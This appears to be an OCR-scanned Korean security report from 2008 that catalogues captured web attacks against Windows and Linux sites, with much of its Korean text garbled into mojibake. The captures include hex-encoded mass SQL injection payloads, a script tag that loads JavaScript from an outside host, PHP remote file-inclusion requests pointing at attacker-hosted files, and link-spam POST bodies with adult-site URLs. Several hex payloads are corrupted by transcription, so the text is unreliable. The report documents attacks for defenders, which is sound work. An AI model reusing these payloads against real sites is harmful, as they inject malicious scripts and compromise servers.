Windows Mass SQL Injection 2008-020101

=24 84 Mass SQL Injection

37 Cookie 32 HIZst0] #i% Zto| 3% 2E o L 4

ool A=z Cookie
dEcLaRe%20@S5%20VaRcHaR(4000)%20SeT%20@s=cAsT(0x4445434C4
15245204054205641524348415228323535292C4043205641524348415
22832353529204445434C415245205461626C655F437572736F7220435
552534F5220464F522053454C45435420612E6E616D652C622E6E616D6

24 3L 52046524F4D207379736F626A6563747320612C737973636F6C756D6E7
3206220574845524520612E69643D622E696420414E4420612E7874797
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Windows SQL Injection 2008-022105

24 99 SQL Injection
37wy URLS BIZst0) B4 2t 5lo| 37 3C &g o My
ool A=z GET(Querystring)
%20%20and%20exists
274 3ac
R 0|8} ApR|----mmmmmmmmmmmmmeee
o AL sysobjects EH|O|22| H|O|E{E ZE3|5l0] 0| Mass SQL Injection O|Lt
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Windows SQL Injection 2008-110106

24 99 SQL Injection

27 URLS ®IZsl0] #4 2t Sl0| 37 3= 4Y o 4

ool A=z GET(Querystring)
%20And%20(Select%20Top%201%20cast(name%20as%20nvarchar(

27 Ac
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Windows SQL Injection 2008-110201

24 99 SQL Injection

27wy URLS BIZSHO] i gt Flo| 327 3C 49 @ MY

Y 42 GET(Querystring)
or+(Select++cast(max(dbid)+as+nvarchar(1111))%2bchar(124)%2bchar(

=4 3ACc

R 0|8} ApR|----mmmmmmmmmmmmmeee
sysdatabases H|O|&2| H|O|HE =32|6}0 0|% Mass SQL Injection
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Windows Mass SQL Injection 2008-020112
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Mass SQL Injection
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URLS B3t Ha gt 50 34 2= ¢ A 29

do | ok | Oh
e | 4N | 1N

ox
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GET(Querystring)

OkI
I
2]

dEcLaRe%20@1t%20vArChAr(255), @c%20vArChAr(255)%20dEcLaRe%20t
AbLe_cursoR%20cUrSoR%20FoR%20sEIEcT%20a.Name,b.Name%20FrO
mM%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20
AnD%20a.xTyPe="u'%20AnD%20(b.xType=99%200R%20b.xTyPe=35%

HIO[E YA0| varchar2 AEEO Us ZE2 2= HOIH &
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Windows SQL Injection 2008-150703
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Windows Mass SQL Injection 2008-020125

24 99 Mass SQL Injection

27 Wy URLS #IZSHO] 4 2 5lof 3% D= MY U 4

ool A=z GET(Querystring)
DECLARE%20@S5%20CHAR(4000);SET%20@S=CAST(0x4445434C41524
5204054207661726368617228323535292C40432076617263686172283
2353529204445434C415245205461626C655F437572736F72204355525
34F5220464F522073656C65637420612E6E616D652C622E6E616D65206

27 3 6726F6D207379736F626A6563747320612C737973636F6C756D6E73206

220776865726520612E69643D622E696420616E6420612E78747970653
D27752720616E642028622E78747970653D3939206F7220622E7874797
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Windows Mass SQL Injection 2008-020127

24 99 Mass SQL Injection

27 Yy URLS BIZSHO] i gt Flo| 327 3C 49 @ MY

7Y 42 GET(Querystring)
DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C41
5245204054205641524348415228323535292C40432056415243484152
2832353529204445434C415245205461626C655F437572736F72204355

A oc 52534F5220464F522053454C45435420612E6E616D652C622E6E616D65

R 2046524F4AD207379736F626A6563747320612C737973636F6C756D6E73

————————————————————— O|8} AFH|------------mmmmmm -

ot AL HOIE &A0] varcharz H7EE0f U= ZES 2= HOH 7t HF
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Windows Mass SQL Injection 2008-020127
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URLS B3t Ha gt 50 34 2= ¢ A 29

do | ok | Oh
e | 4N | 1N

ox
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GET(Querystring)

OkI
I
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In

DECLARE%20@S%20VARCHAR(4000);,SET%20@S=CAST(0x4445434C41
5245204054205641524348415228323535292C40432056415243484152
2832353529204445434C415245205461626C655F437572736F72204355
52534F5220464F522053454C45435420612E6E616D652C622E6E616D65
2046524F4D207379736F626A6563747320612C737973636F6C756D6E73
206220574845524520612E69643D622E696420414E4420612E78747970

HIO[E A0 varchar2 2L s ZECl 2ZE HOH ¢ =7
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£0| "<script src=http://www.stiwdd.com/ngg.js> </script>'2 X|2tE

ApEh 2t=




Windows SQL Injection 2008-110516

24 99 SQL Injection
37wy URLS #IZSHO] 4 2 5lof 3% D= MY U 4
Y 42 GET(Querystring)
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Windows Mass SQL Injection 2008-020130

24 99 Mass SQL Injection

27 Wy URLS #IZSHO] 4 2 5lo| 3% 2= MY U 4

s d=2 GET(Querystring)
DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C41
5245204054205641524348415228323535292C40432056415243484152
2832353529204445434C415245205461626C655F437572736F72204355
52534F5220464F522053454C45435420612E6E616D652C622E6E616D65

34 3Ac 2046524FAD207379736F626A6563747320612C737973636F6C756D6E73

206220574845524520612E69643D622E696420414E4420612E78747970
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Windows Mass SQL Injection 2008-020131

24 99 Mass SQL Injection

27wy URLE BIZst0) @4 2t Flo| 37 3C 4¢3 4y

Y 4= GET(Querystring)
DECLARE%20@S%20VARCHAR(4000),SET%20@S=CAST(0x4445434C41
5245204054205641524348415228323535292C40432056415243484152
2832353529204445434C415245205461626C655F437572736F72204355

M = 52534F5220464F522053454C45435420612E6E616D652C622E6E616D65

Rl 2046524F4D207379736F626A6563747320612C737973636F6C756D6E73

--------------------- 0|8} AbH|--------=mmmmmmmm -
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Linux CGI Spam Approach 2008-392131

24 99 CGI Spam
QEZZUAM CCl AAEO A2HENIS 2HYSts ZES HYSHY
27wy o
T
7Y 42 POST
board=board&back=8x_number=1225413773&guest_name=Neophyt
os&guest_mail=AlekosBolikot70%40gmail.com&headicon=bitimgl4.gif
&guest_text=YUCdjUVCYjQVMACaW&guest_text2=2d777%2C+%3Ca+
href%3D%22http%3A%2F%2Fanymore.servik.com%2Fmercedes905.htm
M ae 1%22%3Emercedes%3C%2Fa%3E%2C+%3Ca+href%3D%22http%3A%2F
Rl %2Fanymore.977mb.com%2Fmercedes06c.html%22%3Emercedes%3C%
2Fa%3E%2C+%3Ca+href%3D%22http%3A%2F%2Fmembers.lycos.nl%
--------------------- 0|8} AbK||--------mmmmmmmmmmme-
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Linux PHP Injection 2008-092152

24 849 Php injection - File including attack
- Php2| Fopen() FHZ 0|83t RZ=2| sZus MHOA
27 YA o
= o
Y 4= GET(Querystring)
/board/download
33 3E
CTTT | s o] R —
. AL HEYUes HZ9 http://halloweenbaby.iespana.es/index.htm I
co e 20| ME{OIAM ZS0| &

ALIolE &

ek gtz




Linux Zeroboard Vulnerability 2008-104824

24 99 Zeroboard F 2k - File including attack
o Zeroboard THTO| Ot HoAMS 0gtol Q£YRo| HYMYUS
° e Mo Al
7Y E2 GET(Querystring)
/bbs//skin/zero_vote/error.
23 ac
R Of B} ApR|----mmmmmmmmmmmmmeee
AL WROJUA= B2
=4 A http://220.134.244.157 /xoops/templates_c/id3.txt L}0| AMEO|A =t
solg
YoolE | F Kot 2t=




Linux CGI Spam Approach 2008-322779

24 93 CGI Spam
QFEZZUA CCl AAEHO A2¥ENZS Hdote ZESE HYSHO
27 Yy s
T
Y E= POST
command=write%5faction&board=board&scnmod==&txtalign=&answe
r=1209016379&title=Re%2e%2e&name=Heruki+Otsasori&mail=asd%
2dpopa%40gmail%2ecom&8USE%S5fHTM =8&comment=Google+should
+pay+more+attention+to+producer%27s+%2c+%3ca+href%3d%22htt
27 ac p%3a%2f%2fanyfind%2eseitenclique%2enet%2fof778%2ehtm|%22%3e
I 0of%3c%2fa%3e%2c++26570%2c+%3ca+href%3d%22http%3a%2f%2fa
nyfind%2et35%2ecom%2fof6c5%2ehtm|%22%3eof%3c%2fa%3e%2c
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Linux PHP Injection 2008-095257

24 99 Php injection - File including attack
D74 HEAI Php2| Fopen() FHZ 0|83t RZ=2| sZus MHOA
345 SS AlSH
= O
Y 4= GET(Querystring)
/kboard/user/kboard_display_main.php?abstraction=8&mode=view&nu
m=98&gasi_code=question&keyl=8&key2=/kboard/kboard.php?board
34 3t
--------------------- 0|8} AbK||----mmmmmmmmmmmmmmeee
AL WHEYJUese HE9| http://www.irontonforge.com/McN/readme.txt
27 34 gl
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Linux Technote Vulnerability 2008-104824
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GET(Querystring)

/technote/main.cgi?




Linux Zeroboard Vulnerability 2008-106265

24 99 Zeroboard F 2k - File including attack
o Zeroboard PHHO| Bt #opHE 0/83t0] ARFRO| HHYLAS
co e Mefol M M
ool A=z GET(Querystring)
/zero/zboard.php?id=qna2//
oA 3Cc
e oL —
e IZE YRoAs Z2)
oA =A
°enee http://www.helpvenice.com/id.txt ILL0| MHO|A AfF0|E
YHIolE /7 KEh Rtz




Linux Zeroboard Vulnerability 2008-106266

=24 84 Zeroboard F 2k - File including attack
o Zeroboard TH{TO| Bot Ho{HES 0|830 9RFRO| SfULAS
° e MEOIN A3
Y 4= GET(Querystring)
/zero//include/print_category.
oA 3Cc
e oL —
At YRHUA= B2
=4 SA http://www.euroluxhotel.ru/assets/images/idoke.txt

20| MHOAM %50
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Linux PHP Spam 2008-095682

34 /49 Php Spam

27 Ay ili’éifﬂlﬁ PHP AHAIEO| A™MANZS ZHste ZEE HAUSHO
H -

g9 A POST

OkI
I
2]
In

listpg=16&table_no=3753&table_name=board&name=vexwtyv&passw
ord=uplfcqd&email=vexwtyvwbi%40gmail.com&subject=Re%3A+red+
hot+chili+pepper+ringtone8content=%3Ca+href%3D%22http%3A%2F
%2Fwww.geocities.com%2Fcouplenlghard%2Frpvyx%2Fsex-offenders-
in-
ma.htm%22%3Esex+offenders+in+ma%3C%2Fa%3E%0D%0A%3Ca+hre
f%3D%22http%3A%2F%2Fwww.geocities.com%2Fcouplerwqgteeny%2Fb
igfa%2Fclip-free-sex-streaming-
video.htm%22%3Eclip+free+sex+streaming+video%3C%2Fa%3E%0D%
0A%3Ca+href%3D%22http%3A%2F%2Fwww.geocities.com%2Fyoungef
kteen%2Fmnijw%2Fsolid-body-silicone-sex-
dolls.htm%22%3Esolid+body+silicone+sex+dolls%3C%2Fa%3E%0D%0
A%3Ca+href%3D%22http%3A%2F%2Fwww.geocities.com%2Fcoupletek
teen%2Fxpzdn%2Funfaithfull-wives-
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Linux PHP Injection 2008-095910

24 99 Php injection - File including attack
Phpo| Fopen() FAHEEZ 0|83t AREZ=o| S{FMAZS AMH O
27 Wy o
= o
ool A=z GET(Querystring)
/dboard/kboard.php?board=best&act
27 Ac
CTTT | s o] R —
ot AL AE HEYUes BRO| http://83.233.165.160/mirror/apachsafe.gif Lt
o™/ oo x

20| MHOM HFO0|E
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Linux PHP Injection 2008-098572

24 99 Php injection - File including attack
Phpo| Fopen) #2tME O0|8310] QIeF=2o| SHULAS AHOA
27 YA o
= o
ool A=z GET(Querystring)
//?installed_config_file=http://
27 Ac
CTTT | s o] R —
. AL HEYUesE ZEO| http://ingenieria.unilibrecali.edu.co/bot.txt L}
°eT 2ol MEo|N ES0|E
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Linux Zeroboard Vulnerability 2008-105829

24 99 Zeroboard F 2k - File including attack

N Zeroboard THTO| =t HoHE 0|83t0l RF=O| HYTYUS

° e MEOI A Al

Y 4= GET(Querystring)
/bbs/zboard.php?id=from_j&no=29%20//skin/zero_vote/login.php?dir=

27 Ac

CTTT | s o] R —
AL R0 A= B2

=S4 A http://vn-art.com/components/com_joomfish/includes/idperkosa.txt
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Linux PHP Injection 2008-092841

24 99 Php injection - File including attack
- Php2| Fopen() F2fHZ= 0|83t AR Z=e| fZuds MHOA
27 Wy o
= O
ool A=z GET(Querystring)
/bbshop/shop/index.php?page=view_class*class_id=88%22%20class=%
22neww%22%20target=%22_blank%
34 3t
--------------------- o] RN —
oy A IE LR JA= BE2| http://marista.or.kr/bbs/data/data/id2.txt I}
co e o Me{olA ZHE0|g
YUHOIE /5 KpEE 2t=



http://marista.or.kr/bbs/data/data/id2.txt

